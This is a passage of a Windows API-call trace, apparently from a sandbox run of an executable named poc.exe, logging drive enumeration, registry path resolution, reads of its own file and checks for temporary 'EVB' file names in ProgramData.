dwFreeType=0x4000) returned 1 [0091.938] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0091.939] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x460c44 | out: lpBuffer="C:\\") returned 0x4 [0091.939] VirtualAlloc (lpAddress=0x464000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x464000 [0091.939] QueryDosDeviceW (in: lpDeviceName="C:", lpTargetPath=0x460c54, ucchMax=0xfffe | out: lpTargetPath="\\Device\\HarddiskVolume1") returned 0x19 [0091.940] CharLowerBuffW (in: lpsz="C:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0091.940] SysReAllocStringLen (in: pbstr=0x470c60*="C:", psz="c:", len=0x2 | out: pbstr=0x470c60*="c:") returned 1 [0091.940] CharLowerBuffW (in: lpsz="\\Device\\HarddiskVolume1", cchLength=0x17 | out: lpsz="\\device\\harddiskvolume1") returned 0x17 [0091.940] SysReAllocStringLen (in: pbstr=0x470c64*="\\Device\\HarddiskVolume1", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x470c64*="\\device\\harddiskvolume1") returned 1 [0091.940] VirtualFree (lpAddress=0x464000, dwSize=0xc000, dwFreeType=0x4000) returned 1 [0091.941] SysReAllocStringLen (in: pbstr=0x28f554*=0x0, psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f554*="\\device\\harddiskvolume1") returned 1 [0091.941] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0091.941] SysReAllocStringLen (in: pbstr=0x470c70*=0x0, psz="\\device\\harddiskvolume1\\", len=0x18 | out: pbstr=0x470c70*="\\device\\harddiskvolume1\\") returned 1 [0091.941] SysReAllocStringLen (in: pbstr=0x470c94*=0x0, psz="device", len=0x6 | out: pbstr=0x470c94*="device") returned 1 [0091.941] SysReAllocStringLen (in: pbstr=0x470cb4*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x470cb4*="harddiskvolume1") returned 1 [0091.941] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e4c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device(", lpUsedDefaultChar=0x0) returned 6 [0091.941] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e4c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0091.942] VirtualFree (lpAddress=0x474000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0091.942] RtlFormatCurrentUserKeyPath (in: KeyPath="" | out: KeyPath="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 0x0 [0091.942] SysReAllocStringLen (in: pbstr=0x470c74*=0x0, psz="classes", len=0x7 | out: pbstr=0x470c74*="classes") returned 1 [0091.942] SysReAllocStringLen (in: pbstr=0x4608ac*=0x0, psz="\\registry\\machine\\software\\classes", len=0x22 | out: pbstr=0x4608ac*="\\registry\\machine\\software\\classes") returned 1 [0091.943] SysReAllocStringLen (in: pbstr=0x470c78*=0x0, psz="\\registry\\machine\\software\\classes", len=0x22 | out: pbstr=0x470c78*="\\registry\\machine\\software\\classes") returned 1 [0091.943] RtlFormatCurrentUserKeyPath (in: KeyPath="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000" | out: KeyPath="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 0x0 [0091.943] RtlFreeAnsiString (AnsiString="\\") [0091.943] CharLowerBuffW (in: lpsz="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000", cchLength=0x3d | out: lpsz="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000") returned 0x3d [0091.943] SysReAllocStringLen (in: pbstr=0x4608a4*="\\REGISTRY\\USER\\S-1-5-21-3388679973-3930757225-3770151564-1000", psz="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000", len=0x3d | out: pbstr=0x4608a4*="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0091.943] SysReAllocStringLen (in: pbstr=0x470c7c*=0x0, psz="user", len=0x4 | out: pbstr=0x470c7c*="user") returned 1 [0091.943] SysReAllocStringLen (in: pbstr=0x470c80*=0x0, psz="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000", len=0x3d | out: pbstr=0x470c80*="\\registry\\user\\s-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0091.943] SysReAllocStringLen (in: pbstr=0x470c84*=0x0, psz="machine", len=0x7 | out: pbstr=0x470c84*="machine") returned 1 [0091.943] SysReAllocStringLen (in: pbstr=0x470c88*=0x0, psz="\\registry\\machine", len=0x11 | out: pbstr=0x470c88*="\\registry\\machine") returned 1 [0091.943] SysReAllocStringLen (in: pbstr=0x470c8c*=0x0, psz="users", len=0x5 | out: pbstr=0x470c8c*="users") returned 1 [0091.943] SysReAllocStringLen (in: pbstr=0x470c90*=0x0, psz="\\registry\\user", len=0xe | out: pbstr=0x470c90*="\\registry\\user") returned 1 [0091.943] SysReAllocStringLen (in: pbstr=0x470c94*=0x0, psz="config", len=0x6 | out: pbstr=0x470c94*="config") returned 1 [0091.943] RegOpenKeyA (in: hKey=0x80000005, lpSubKey="Software", phkResult=0x28f574 | out: phkResult=0x28f574*=0xf0) returned 0x0 [0091.944] VirtualAlloc (lpAddress=0x474000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x474000 [0091.945] NtQueryObject (in: Handle=0xf0, ObjectInformationClass=0x1, ObjectInformation=0x470ca0, ObjectInformationLength=0xfffe, ReturnLength=0x28f53c | out: ObjectInformation=0x470ca0, ReturnLength=0x28f53c) returned 0x0 [0091.946] VirtualFree (lpAddress=0x474000, dwSize=0x14000, dwFreeType=0x4000) returned 1 [0091.946] SysReAllocStringLen (in: pbstr=0x470c98*=0x0, psz="\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Hardware Profiles\\0001\\Software", len=0x46 | out: pbstr=0x470c98*="\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\Hardware Profiles\\0001\\Software") returned 1 [0091.946] CloseHandle (hObject=0xf0) returned 1 [0091.947] CreateFileW (lpFileName="c:\\ProgramData\\poc.exe" (normalized: "c:\\programdata\\poc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0091.947] SetFilePointer (in: hFile=0xf0, lDistanceToMove=93408, lpDistanceToMoveHigh=0x28f568*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x28f568*=0) returned 0x16ce0 [0091.947] ReadFile (in: hFile=0xf0, lpBuffer=0x28f55c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28f540, lpOverlapped=0x0 | out: lpBuffer=0x28f55c*, lpNumberOfBytesRead=0x28f540*=0x4, lpOverlapped=0x0) returned 1 [0091.947] ReadFile (in: hFile=0xf0, lpBuffer=0x470ca0, nNumberOfBytesToRead=0x88e, lpNumberOfBytesRead=0x28f534, lpOverlapped=0x0 | out: lpBuffer=0x470ca0*, lpNumberOfBytesRead=0x28f534*=0x88e, lpOverlapped=0x0) returned 1 [0091.947] SysReAllocStringLen (in: pbstr=0x28f40c*=0x0, psz="C:", len=0x2 | out: pbstr=0x28f40c*="C:") returned 1 [0091.947] CharLowerBuffW (in: lpsz="C:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0091.947] SysReAllocStringLen (in: pbstr=0x28f410*="C:", psz="c:", len=0x2 | out: pbstr=0x28f410*="c:") returned 1 [0091.947] SysReAllocStringLen (in: pbstr=0x471580*=0x0, psz="c:", len=0x2 | out: pbstr=0x471580*="c:") returned 1 [0091.947] SysReAllocStringLen (in: pbstr=0x471584*=0x0, psz="C:", len=0x2 | out: pbstr=0x471584*="C:") returned 1 [0091.948] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0091.948] SysReAllocStringLen (in: pbstr=0x471588*=0x0, psz="c:", len=0x2 | out: pbstr=0x471588*="c:") returned 1 [0091.948] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0091.948] SysReAllocStringLen (in: pbstr=0x471678*=0x0, psz="c:", len=0x2 | out: pbstr=0x471678*="c:") returned 1 [0091.948] SysReAllocStringLen (in: pbstr=0x47167c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47167c*="c:") returned 1 [0091.948] SysReAllocStringLen (in: pbstr=0x28f0e4*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f0e4*="c:") returned 1 [0091.948] SysReAllocStringLen (in: pbstr=0x28f3e4*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f3e4*="c:\\") returned 1 [0091.948] SysReAllocStringLen (in: pbstr=0x28f0cc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f0cc*="c:\\") returned 1 [0091.948] SysReAllocStringLen (in: pbstr=0x28f3e4*="c:\\", psz="c:", len=0x2 | out: pbstr=0x28f3e4*="c:") returned 1 [0091.949] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0091.949] SysReAllocStringLen (in: pbstr=0x471678*=0x0, psz="c:", len=0x2 | out: pbstr=0x471678*="c:") returned 1 [0091.949] SysReAllocStringLen (in: pbstr=0x47167c*=0x0, psz="c:", len=0x2 | out: pbstr=0x47167c*="c:") returned 1 [0091.949] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0091.949] SysReAllocStringLen (in: pbstr=0x4716a0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4716a0*="c:") returned 1 [0091.949] SysReAllocStringLen (in: pbstr=0x4716a4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4716a4*="c:") returned 1 [0091.949] SysReAllocStringLen (in: pbstr=0x28f0e4*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f0e4*="c:") returned 1 [0091.949] SysReAllocStringLen (in: pbstr=0x28f3e0*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f3e0*="c:\\") returned 1 [0091.949] SysReAllocStringLen (in: pbstr=0x28f0c8*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f0c8*="c:\\") returned 1 [0091.950] SysReAllocStringLen (in: pbstr=0x28f3e0*="c:\\", psz="c:", len=0x2 | out: pbstr=0x28f3e0*="c:") returned 1 [0091.950] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0091.950] SysReAllocStringLen (in: pbstr=0x4716a0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4716a0*="c:") returned 1 [0091.950] SysReAllocStringLen (in: pbstr=0x4716a4*=0x0, psz="c:", len=0x2 | out: pbstr=0x4716a4*="c:") returned 1 [0091.950] GetLocalTime (in: lpSystemTime=0x28f354 | out: lpSystemTime=0x28f354*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x2, wDay=0xe, wHour=0x1, wMinute=0x29, wSecond=0x22, wMilliseconds=0x1d8)) [0091.950] SystemTimeToFileTime (in: lpSystemTime=0x28f348, lpFileTime=0x28f358 | out: lpFileTime=0x28f358) returned 1 [0091.950] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x4716e0, cbMultiByte=8, lpWideCharStr=0x28e35c, cchWideChar=2047 | out: lpWideCharStr="EVB1158F(眴郊睩(Ǭt⹇畃⹣畃\x13") returned 8 [0091.951] CharLowerBuffW (in: lpsz="EVB1158F", cchLength=0x8 | out: lpsz="evb1158f") returned 0x8 [0091.951] SysReAllocStringLen (in: pbstr=0x28f3ac*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f3ac*="c:") returned 1 [0091.951] SysReAllocStringLen (in: pbstr=0x28f3b4*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f3b4*="c:") returned 1 [0091.951] GetFileAttributesW (lpFileName="c:\\evb1158f" (normalized: "c:\\evb1158f")) returned 0xffffffff [0091.951] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0091.951] SysReAllocStringLen (in: pbstr=0x28f428*="evb1158f", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f428*="\\device\\harddiskvolume1") returned 1 [0091.951] SysReAllocStringLen (in: pbstr=0x4715a4*=0x0, psz="\\device\\harddiskvolume1\\", len=0x18 | out: pbstr=0x4715a4*="\\device\\harddiskvolume1\\") returned 1 [0091.951] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0091.951] SysReAllocStringLen (in: pbstr=0x4716f4*=0x0, psz="\\device\\harddiskvolume1\\", len=0x18 | out: pbstr=0x4716f4*="\\device\\harddiskvolume1\\") returned 1 [0091.952] SysReAllocStringLen (in: pbstr=0x471718*=0x0, psz="device", len=0x6 | out: pbstr=0x471718*="device") returned 1 [0091.952] SysReAllocStringLen (in: pbstr=0x471738*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x471738*="harddiskvolume1") returned 1 [0091.952] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e308, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device", lpUsedDefaultChar=0x0) returned 6 [0091.952] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e308, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1v\x10", lpUsedDefaultChar=0x0) returned 15 [0091.952] SysReAllocStringLen (in: pbstr=0x28f428*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f428*="\\device\\harddiskvolume1") returned 1 [0091.952] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\", cchLength=0x18 | out: lpsz="\\device\\harddiskvolume1\\") returned 0x18 [0091.952] SysReAllocStringLen (in: pbstr=0x471748*=0x0, psz="\\device\\harddiskvolume1\\", len=0x18 | out: pbstr=0x471748*="\\device\\harddiskvolume1\\") returned 1 [0091.953] SysReAllocStringLen (in: pbstr=0x47176c*=0x0, psz="device", len=0x6 | out: pbstr=0x47176c*="device") returned 1 [0091.953] SysReAllocStringLen (in: pbstr=0x47178c*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x47178c*="harddiskvolume1") returned 1 [0091.953] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e308, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="deviceskvolume1v\x10", lpUsedDefaultChar=0x0) returned 6 [0091.953] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e308, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1v\x10", lpUsedDefaultChar=0x0) returned 15 [0091.953] SysReAllocStringLen (in: pbstr=0x28f324*=0x0, psz="ProgramData", len=0xb | out: pbstr=0x28f324*="ProgramData") returned 1 [0091.953] CharLowerBuffW (in: lpsz="ProgramData", cchLength=0xb | out: lpsz="programdata") returned 0xb [0091.953] SysReAllocStringLen (in: pbstr=0x28f328*="ProgramData", psz="programdata", len=0xb | out: pbstr=0x28f328*="programdata") returned 1 [0091.954] SysReAllocStringLen (in: pbstr=0x4717e4*=0x0, psz="programdata", len=0xb | out: pbstr=0x4717e4*="programdata") returned 1 [0091.954] SysReAllocStringLen (in: pbstr=0x4717e8*=0x0, psz="ProgramData", len=0xb | out: pbstr=0x4717e8*="ProgramData") returned 1 [0091.954] SysReAllocStringLen (in: pbstr=0x28f308*=0x0, psz="c:", len=0x2 | out: pbstr=0x28f308*="c:") returned 1 [0091.954] SysReAllocStringLen (in: pbstr=0x28f368*="c:", psz="c:\\", len=0x3 | out: pbstr=0x28f368*="c:\\") returned 1 [0091.954] CharLowerBuffW (in: lpsz="c:\\programdata", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0091.954] SysReAllocStringLen (in: pbstr=0x4717ec*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x4717ec*="c:\\programdata") returned 1 [0091.954] CharLowerBuffW (in: lpsz="c:\\programdata", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0091.954] SysReAllocStringLen (in: pbstr=0x4718dc*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x4718dc*="c:\\programdata") returned 1 [0091.954] SysReAllocStringLen (in: pbstr=0x4718e0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4718e0*="c:") returned 1 [0091.954] SysReAllocStringLen (in: pbstr=0x471900*=0x0, psz="programdata", len=0xb | out: pbstr=0x471900*="programdata") returned 1 [0091.954] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28df68, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatav", lpUsedDefaultChar=0x0) returned 11 [0091.955] SysReAllocStringLen (in: pbstr=0x28effc*=0x0, psz="c:", len=0x2 | out: pbstr=0x28effc*="c:") returned 1 [0091.955] SysReAllocStringLen (in: pbstr=0x28f2fc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f2fc*="c:\\") returned 1 [0091.955] SysReAllocStringLen (in: pbstr=0x28eff4*=0x0, psz="programdata", len=0xb | out: pbstr=0x28eff4*="programdata") returned 1 [0091.955] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f020 | out: lpFindFileData=0x28f020*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0091.955] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28f020 | out: lpFindFileData=0x28f020*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0091.955] GetLastError () returned 0x12 [0091.955] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0091.955] SysReAllocStringLen (in: pbstr=0x28efe8*=0x0, psz="c:\\ProgramData", len=0xe | out: pbstr=0x28efe8*="c:\\ProgramData") returned 1 [0091.955] SysReAllocStringLen (in: pbstr=0x28f2fc*="c:\\ProgramData", psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28f2fc*="c:\\ProgramData\\") returned 1 [0091.956] SysReAllocStringLen (in: pbstr=0x28efe4*=0x0, psz="c:\\ProgramData\\", len=0xf | out: pbstr=0x28efe4*="c:\\ProgramData\\") returned 1 [0091.956] SysReAllocStringLen (in: pbstr=0x28f2fc*="c:\\ProgramData\\", psz="c:\\ProgramData", len=0xe | out: pbstr=0x28f2fc*="c:\\ProgramData") returned 1 [0091.956] CharLowerBuffW (in: lpsz="c:\\ProgramData", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0091.956] SysReAllocStringLen (in: pbstr=0x4718dc*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x4718dc*="c:\\programdata") returned 1 [0091.956] SysReAllocStringLen (in: pbstr=0x4718e0*=0x0, psz="c:", len=0x2 | out: pbstr=0x4718e0*="c:") returned 1 [0091.956] SysReAllocStringLen (in: pbstr=0x471900*=0x0, psz="programdata", len=0xb | out: pbstr=0x471900*="programdata") returned 1 [0091.956] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdata", lpUsedDefaultChar=0x0) returned 11 [0091.957] CharLowerBuffW (in: lpsz="c:\\programdata", cchLength=0xe | out: lpsz="c:\\programdata") returned 0xe [0091.957] SysReAllocStringLen (in: pbstr=0x471924*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x471924*="c:\\programdata") returned 1 [0091.957] SysReAllocStringLen (in: pbstr=0x471928*=0x0, psz="c:", len=0x2 | out: pbstr=0x471928*="c:") returned 1 [0091.957] SysReAllocStringLen (in: pbstr=0x471948*=0x0, psz="programdata", len=0xb | out: pbstr=0x471948*="programdata") returned 1 [0091.957] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28df64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdatadatav", lpUsedDefaultChar=0x0) returned 11 [0091.957] SysReAllocStringLen (in: pbstr=0x28effc*=0x0, psz="c:", len=0x2 | out: pbstr=0x28effc*="c:") returned 1 [0091.958] SysReAllocStringLen (in: pbstr=0x28f2f8*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f2f8*="c:\\") returned 1 [0091.958] SysReAllocStringLen (in: pbstr=0x28eff4*=0x0, psz="programdata", len=0xb | out: pbstr=0x28eff4*="programdata") returned 1 [0091.958] FindFirstFileW (in: lpFileName="c:\\programdata", lpFindFileData=0x28f020 | out: lpFindFileData=0x28f020*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0x759418 [0091.958] FindNextFileW (in: hFindFile=0x759418, lpFindFileData=0x28f020 | out: lpFindFileData=0x28f020*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80adfa20, ftLastAccessTime.dwHighDateTime=0x1d5ca1f, ftLastWriteTime.dwLowDateTime=0x80adfa20, ftLastWriteTime.dwHighDateTime=0x1d5ca1f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 0 [0091.958] GetLastError () returned 0x12 [0091.958] FindClose (in: hFindFile=0x759418 | out: hFindFile=0x759418) returned 1 [0091.958] SysReAllocStringLen (in: pbstr=0x28efe4*=0x0, psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28efe4*="c:\\PROGRA~3") returned 1 [0091.958] SysReAllocStringLen (in: pbstr=0x28f2f8*="c:\\PROGRA~3", psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28f2f8*="c:\\PROGRA~3\\") returned 1 [0091.958] SysReAllocStringLen (in: pbstr=0x28efe0*=0x0, psz="c:\\PROGRA~3\\", len=0xc | out: pbstr=0x28efe0*="c:\\PROGRA~3\\") returned 1 [0091.958] SysReAllocStringLen (in: pbstr=0x28f2f8*="c:\\PROGRA~3\\", psz="c:\\PROGRA~3", len=0xb | out: pbstr=0x28f2f8*="c:\\PROGRA~3") returned 1 [0091.959] CharLowerBuffW (in: lpsz="c:\\PROGRA~3", cchLength=0xb | out: lpsz="c:\\progra~3") returned 0xb [0091.959] SysReAllocStringLen (in: pbstr=0x471924*=0x0, psz="c:\\progra~3", len=0xb | out: pbstr=0x471924*="c:\\progra~3") returned 1 [0091.959] SysReAllocStringLen (in: pbstr=0x471928*=0x0, psz="c:", len=0x2 | out: pbstr=0x471928*="c:") returned 1 [0091.959] SysReAllocStringLen (in: pbstr=0x471948*=0x0, psz="progra~3", len=0x8 | out: pbstr=0x471948*="progra~3") returned 1 [0091.959] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="progra~3", cchWideChar=8, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="progra~3ata", lpUsedDefaultChar=0x0) returned 8 [0091.959] GetLocalTime (in: lpSystemTime=0x28f26c | out: lpSystemTime=0x28f26c*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x2, wDay=0xe, wHour=0x1, wMinute=0x29, wSecond=0x22, wMilliseconds=0x1e8)) [0091.959] SystemTimeToFileTime (in: lpSystemTime=0x28f260, lpFileTime=0x28f270 | out: lpFileTime=0x28f270) returned 1 [0091.960] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x471984, cbMultiByte=8, lpWideCharStr=0x28e274, cchWideChar=2047 | out: lpWideCharStr="EVB9D94A》\x0f") returned 8 [0091.960] CharLowerBuffW (in: lpsz="EVB9D94A", cchLength=0x8 | out: lpsz="evb9d94a") returned 0x8 [0091.960] SysReAllocStringLen (in: pbstr=0x28f2c4*=0x0, psz="c:\\programdata", len=0xe | out: pbstr=0x28f2c4*="c:\\programdata") returned 1 [0091.960] SysReAllocStringLen (in: pbstr=0x28f2cc*=0x0, psz="c:\\", len=0x3 | out: pbstr=0x28f2cc*="c:\\") returned 1 [0091.960] GetFileAttributesW (lpFileName="c:\\evb9d94a" (normalized: "c:\\evb9d94a")) returned 0xffffffff [0091.960] CharLowerBuffW (in: lpsz="c:", cchLength=0x2 | out: lpsz="c:") returned 0x2 [0091.960] SysReAllocStringLen (in: pbstr=0x28f340*="evb9d94a", psz="\\device\\harddiskvolume1", len=0x17 | out: pbstr=0x28f340*="\\device\\harddiskvolume1") returned 1 [0091.960] SysReAllocStringLen (in: pbstr=0x28f2b4*=0x0, psz="programdata", len=0xb | out: pbstr=0x28f2b4*="programdata") returned 1 [0091.960] SysReAllocStringLen (in: pbstr=0x28f2bc*=0x0, psz="\\device\\harddiskvolume1\\programdata", len=0x23 | out: pbstr=0x28f2bc*="\\device\\harddiskvolume1\\programdata") returned 1 [0091.960] SysReAllocStringLen (in: pbstr=0x28f340*="\\device\\harddiskvolume1\\", psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x28f340*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0091.960] SysReAllocStringLen (in: pbstr=0x471808*=0x0, psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x471808*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0091.960] CharLowerBuffW (in: lpsz="\\device\\harddiskvolume1\\programdata\\", cchLength=0x24 | out: lpsz="\\device\\harddiskvolume1\\programdata\\") returned 0x24 [0091.960] SysReAllocStringLen (in: pbstr=0x471998*=0x0, psz="\\device\\harddiskvolume1\\programdata\\", len=0x24 | out: pbstr=0x471998*="\\device\\harddiskvolume1\\programdata\\") returned 1 [0091.961] SysReAllocStringLen (in: pbstr=0x4719bc*=0x0, psz="device", len=0x6 | out: pbstr=0x4719bc*="device") returned 1 [0091.961] SysReAllocStringLen (in: pbstr=0x4719dc*=0x0, psz="harddiskvolume1", len=0xf | out: pbstr=0x4719dc*="harddiskvolume1") returned 1 [0091.961] SysReAllocStringLen (in: pbstr=0x4719e8*=0x0, psz="programdata", len=0xb | out: pbstr=0x4719e8*="programdata") returned 1 [0091.961] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="device", cchWideChar=6, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device\x9dv\x10", lpUsedDefaultChar=0x0) returned 6 [0091.961] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="harddiskvolume1", cchWideChar=15, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="harddiskvolume1", lpUsedDefaultChar=0x0) returned 15 [0091.961] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="programdata", cchWideChar=11, lpMultiByteStr=0x28e220, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="programdataume1", lpUsedDefaultChar=0x0) returned 11 